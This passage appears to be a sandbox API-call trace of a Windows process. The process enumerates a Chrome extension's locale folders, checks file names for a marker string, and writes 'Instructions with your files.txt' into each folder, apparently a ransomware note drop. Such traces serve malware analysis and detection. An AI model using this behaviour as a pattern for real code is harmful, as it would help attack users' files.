[0128.860] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.860] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\..") returned 145
[0128.860] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f7970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.860] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json") returned 156
[0128.860] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.860] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f7970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.860] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\Instructions with your files.txt") returned 175
[0128.860] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.860] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.861] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.861] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.861] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.861] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.862] CloseHandle (hObject=0x134) returned 1
[0128.863] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.863] GetProcessHeap () returned 0x810000
[0128.863] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.863] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1
[0128.863] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr") returned 141
[0128.863] GetProcessHeap () returned 0x810000
[0128.863] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.863] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*") returned 143
[0128.863] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.864] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\.") returned 143
[0128.864] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.864] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\..") returned 144
[0128.864] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f7970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.864] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json") returned 155
[0128.864] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.864] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f7970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.864] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\Instructions with your files.txt") returned 174
[0128.864] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.864] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.865] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.865] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.865] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.866] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.866] CloseHandle (hObject=0x134) returned 1
[0128.866] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.866] GetProcessHeap () returned 0x810000
[0128.866] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.866] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1
[0128.866] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he") returned 141
[0128.866] GetProcessHeap () returned 0x810000
[0128.866] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.866] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*") returned 143
[0128.866] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.867] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\.") returned 143
[0128.867] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.867] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\..") returned 144
[0128.867] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f7970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.867] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json") returned 155
[0128.867] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.867] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f7970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.867] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\Instructions with your files.txt") returned 174
[0128.867] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.868] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.868] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.868] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.869] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.869] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.869] CloseHandle (hObject=0x134) returned 1
[0128.869] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.869] GetProcessHeap () returned 0x810000
[0128.869] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.869] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1
[0128.869] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi") returned 141
[0128.869] GetProcessHeap () returned 0x810000
[0128.869] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.869] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*") returned 143
[0128.869] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.871] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\.") returned 143
[0128.871] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.871] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\..") returned 144
[0128.871] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1ea70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x123, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.871] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json") returned 155
[0128.871] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.871] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1ea70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x123, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.872] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\Instructions with your files.txt") returned 174
[0128.872] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.872] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.873] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.873] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.873] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
